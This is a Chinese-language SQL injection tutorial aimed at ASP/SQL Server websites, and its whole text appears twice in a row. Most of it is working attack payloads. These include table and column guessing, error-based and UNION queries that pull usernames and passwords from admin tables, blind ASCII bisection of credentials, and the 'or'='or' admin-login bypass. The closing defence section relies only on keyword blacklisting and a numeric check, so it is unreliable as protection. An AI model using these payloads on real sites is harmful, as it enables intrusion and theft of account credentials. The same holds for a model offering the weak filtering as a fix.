所謂SQL注入，就是透過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串，最終達到欺騙伺服器執行惡意的SQL命令，比如先前的很多影視網站洩露VIP會員密碼大多就是透過WEB表單遞交查詢字元暴出的，這類表單特別容易受到SQL注入式攻擊．方法1 先猜表名 And (Select count(*) from 表名)0 猜列名 And (Select count（列名） from 表名）0 或者也可以這樣 and exists (select * from 表名） and exists (select 列名 from 表名） 返回正確的，那麼寫的表名或列名就是正確 這裡要注意的是，exists這個不能應用於猜內容上，例如and exists (select len(user) from admin)>3 這樣是不行的 現在很多人都是喜歡查詢裡面的內容，一旦iis沒有關閉錯誤提示的，那麼就可以利用報錯方法輕鬆獲得庫裡面的內容 獲得資料庫連線使用者名稱：；and user>0 這個是小竹提出來的，我這裡引用《SQL注入天書》裡面的一段話來講解： －－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ "重點在and user>0，我們知道，user是SQLServer的一個內建變數，它的值是當前連線的使用者名稱，型別為nvarchar。拿一個 nvarchar的值跟int的數0比較，系統會先試圖將nvarchar的值轉成int型，當然，轉的過程中肯定會出錯，SQLServer的出錯提示是：將nvarchar轉換int異常，XXXX不能轉換成int" －－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 看到這裡大家明白了吧，報錯的原理就是利用SQLserver內建的系統表進行轉換查詢，轉換過程會出錯，然後就會顯示出在網頁上，另外還有類似的and 1=(selet top 1 user from admin），這種語句也是可以爆出來的。；and db_name()>0 則是暴資料庫名。 一旦關閉了IIS報錯，那麼還可以用union（聯合查詢）來查內容，主要語句就是 Order by 10 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin 上面的order by 10主要就是查欄位數目，admin就是表名，可以自己猜，user,passwd是列名 反正就是返回正確即對，返回異常即錯 另外還有十分常用的ascll碼拆半法 先要知道指定列名，例如user裡的內容的長度 and (select len(user) from admin)=2 就是查詢長度為不為2位，返回錯誤的增加或減少數字，一般這個數字不會太大，太大的就要放棄了，猜也多餘 後面的邏輯符號可以根據不同要求更改的， >；大於 ；就是不等 知道了長度後就可以開始猜解了 And (Select top 1 asc(mid(user,n,1)) from admin)>100 n就是猜解的表名的第幾位，最後的長度數字就是剛才猜解出來的列名長度了，And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user裡內容的第一位的ASCLL字元是不是大於100 正確的話，那麼表示USER第一個字元的ASCLL碼大於100，那麼就猜>120，返回錯誤就是介於100－120之間，然後再一步一步的縮少，最終得到正確字元XXX，然後用ASCLL轉換器吧這個轉換成普通字元就可以了 然後就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去 加在url後面，列名錶名還是先猜解，返回正確的代表帳號的ascll碼大於100，那麼就再向前猜，指導報錯，把猜出來的ascll碼拿去ascll轉換器轉換就可以了，中文是負數，加上asb取絕對值 And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320 得到之後就記得在數字前加-號，不然ASCLL轉換器轉換不來的，中文在ASCLL碼裡是-23423這樣的，所以猜起來挺麻煩 這個猜解速度比較慢，但是效果最好，最具有廣泛性方法2 後臺身份驗證繞過漏洞 驗證繞過漏洞就是"or"="or"後臺繞過漏洞，利用的就是AND和OR的運算規則，從而造成後臺指令碼邏輯性錯誤 例如管理員的賬號密碼都是admin，那麼再比如後臺的資料庫查詢語句是 user=request("user") passwd=request("passwd") sql="select admin from adminbate where user="&"""&user&"""&" and passwd="&"""&passwd&""" 那麼我使用"or "a"="a來做使用者名稱密碼的話，那麼查詢就變成了 select admin from adminbate where user=""or "a"="a" and passwd=""or "a"="a" 這樣的話，根據運算規則，這裡一共有4個查詢語句，那麼查詢結果就是 假or真and假or真，先算and 再算or，最終結果為真，這樣就可以進到後臺了 這種漏洞存在必須要有2個條件，第一個：在後臺驗證程式碼上，賬號密碼的查詢是要同一條查詢語句，也就是類似 sql="select * from admin where username=""&username&"&"passwd=""&passwd&" 如果一旦賬號密碼是分開查詢的，先查帳號，再查密碼，這樣的話就沒有辦法了。 第二就是要看密碼加不加密，一旦被MD5加密或者其他加密方式加密的，那就要看第一種條件有沒有可以，沒有達到第一種條件的話，那就沒有戲了方法3 防禦方法 對於怎麼防禦SQL注入呢，這個網上很多，我這裡講幾個 如果自己編寫防注程式碼，一般是先定義一個函式，再在裡面寫入要過濾的關鍵詞，如select ; “”；form；等，這些關鍵詞都是查詢語句最常用的詞語，一旦過濾了，那麼使用者自己構造提交的資料就不會完整地參與資料庫的操作。 當然如果你的網站提交的資料全部都是數字的，可以使用小竹提供的方法 Function SafeRequest(ParaName,ParaType) "--- 傳入引數 --- "ParaName：引數名稱-字元型 "ParaType：引數型別-數字型（1表示以上引數是數字，0表示以上引數為字元） Dim ParaValue ParaValue=Request(ParaName) If ParaType=1 then If not isNumeric(ParaValue) then Response.write "引數" & ParaName & "必須為數字型！" Response.end End if Else ParaValue=replace(ParaValue,""","""") End if SafeRequest=ParaValue End function 然後就用SafeRequest（）來過濾引數 ，檢查引數是否為數字，不是數字的就不能透過。小結 SQL注入的手法相當靈活，在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析，構造巧妙的SQL語句，從而成功獲取想要的資料，是高手與“菜鳥”的根本區別。
所謂SQL注入，就是透過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串，最終達到欺騙伺服器執行惡意的SQL命令，比如先前的很多影視網站洩露VIP會員密碼大多就是透過WEB表單遞交查詢字元暴出的，這類表單特別容易受到SQL注入式攻擊．方法1 先猜表名 And (Select count(*) from 表名)0 猜列名 And (Select count（列名） from 表名）0 或者也可以這樣 and exists (select * from 表名） and exists (select 列名 from 表名） 返回正確的，那麼寫的表名或列名就是正確 這裡要注意的是，exists這個不能應用於猜內容上，例如and exists (select len(user) from admin)>3 這樣是不行的 現在很多人都是喜歡查詢裡面的內容，一旦iis沒有關閉錯誤提示的，那麼就可以利用報錯方法輕鬆獲得庫裡面的內容 獲得資料庫連線使用者名稱：；and user>0 這個是小竹提出來的，我這裡引用《SQL注入天書》裡面的一段話來講解： －－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ "重點在and user>0，我們知道，user是SQLServer的一個內建變數，它的值是當前連線的使用者名稱，型別為nvarchar。拿一個 nvarchar的值跟int的數0比較，系統會先試圖將nvarchar的值轉成int型，當然，轉的過程中肯定會出錯，SQLServer的出錯提示是：將nvarchar轉換int異常，XXXX不能轉換成int" －－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 看到這裡大家明白了吧，報錯的原理就是利用SQLserver內建的系統表進行轉換查詢，轉換過程會出錯，然後就會顯示出在網頁上，另外還有類似的and 1=(selet top 1 user from admin），這種語句也是可以爆出來的。；and db_name()>0 則是暴資料庫名。 一旦關閉了IIS報錯，那麼還可以用union（聯合查詢）來查內容，主要語句就是 Order by 10 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin 上面的order by 10主要就是查欄位數目，admin就是表名，可以自己猜，user,passwd是列名 反正就是返回正確即對，返回異常即錯 另外還有十分常用的ascll碼拆半法 先要知道指定列名，例如user裡的內容的長度 and (select len(user) from admin)=2 就是查詢長度為不為2位，返回錯誤的增加或減少數字，一般這個數字不會太大，太大的就要放棄了，猜也多餘 後面的邏輯符號可以根據不同要求更改的， >；大於 ；就是不等 知道了長度後就可以開始猜解了 And (Select top 1 asc(mid(user,n,1)) from admin)>100 n就是猜解的表名的第幾位，最後的長度數字就是剛才猜解出來的列名長度了，And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user裡內容的第一位的ASCLL字元是不是大於100 正確的話，那麼表示USER第一個字元的ASCLL碼大於100，那麼就猜>120，返回錯誤就是介於100－120之間，然後再一步一步的縮少，最終得到正確字元XXX，然後用ASCLL轉換器吧這個轉換成普通字元就可以了 然後就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去 加在url後面，列名錶名還是先猜解，返回正確的代表帳號的ascll碼大於100，那麼就再向前猜，指導報錯，把猜出來的ascll碼拿去ascll轉換器轉換就可以了，中文是負數，加上asb取絕對值 And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320 得到之後就記得在數字前加-號，不然ASCLL轉換器轉換不來的，中文在ASCLL碼裡是-23423這樣的，所以猜起來挺麻煩 這個猜解速度比較慢，但是效果最好，最具有廣泛性方法2 後臺身份驗證繞過漏洞 驗證繞過漏洞就是"or"="or"後臺繞過漏洞，利用的就是AND和OR的運算規則，從而造成後臺指令碼邏輯性錯誤 例如管理員的賬號密碼都是admin，那麼再比如後臺的資料庫查詢語句是 user=request("user") passwd=request("passwd") sql="select admin from adminbate where user="&"""&user&"""&" and passwd="&"""&passwd&""" 那麼我使用"or "a"="a來做使用者名稱密碼的話，那麼查詢就變成了 select admin from adminbate where user=""or "a"="a" and passwd=""or "a"="a" 這樣的話，根據運算規則，這裡一共有4個查詢語句，那麼查詢結果就是 假or真and假or真，先算and 再算or，最終結果為真，這樣就可以進到後臺了 這種漏洞存在必須要有2個條件，第一個：在後臺驗證程式碼上，賬號密碼的查詢是要同一條查詢語句，也就是類似 sql="select * from admin where username=""&username&"&"passwd=""&passwd&" 如果一旦賬號密碼是分開查詢的，先查帳號，再查密碼，這樣的話就沒有辦法了。 第二就是要看密碼加不加密，一旦被MD5加密或者其他加密方式加密的，那就要看第一種條件有沒有可以，沒有達到第一種條件的話，那就沒有戲了方法3 防禦方法 對於怎麼防禦SQL注入呢，這個網上很多，我這裡講幾個 如果自己編寫防注程式碼，一般是先定義一個函式，再在裡面寫入要過濾的關鍵詞，如select ; “”；form；等，這些關鍵詞都是查詢語句最常用的詞語，一旦過濾了，那麼使用者自己構造提交的資料就不會完整地參與資料庫的操作。 當然如果你的網站提交的資料全部都是數字的，可以使用小竹提供的方法 Function SafeRequest(ParaName,ParaType) "--- 傳入引數 --- "ParaName：引數名稱-字元型 "ParaType：引數型別-數字型（1表示以上引數是數字，0表示以上引數為字元） Dim ParaValue ParaValue=Request(ParaName) If ParaType=1 then If not isNumeric(ParaValue) then Response.write "引數" & ParaName & "必須為數字型！" Response.end End if Else ParaValue=replace(ParaValue,""","""") End if SafeRequest=ParaValue End function 然後就用SafeRequest（）來過濾引數 ，檢查引數是否為數字，不是數字的就不能透過。小結 SQL注入的手法相當靈活，在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析，構造巧妙的SQL語句，從而成功獲取想要的資料，是高手與“菜鳥”的根本區別。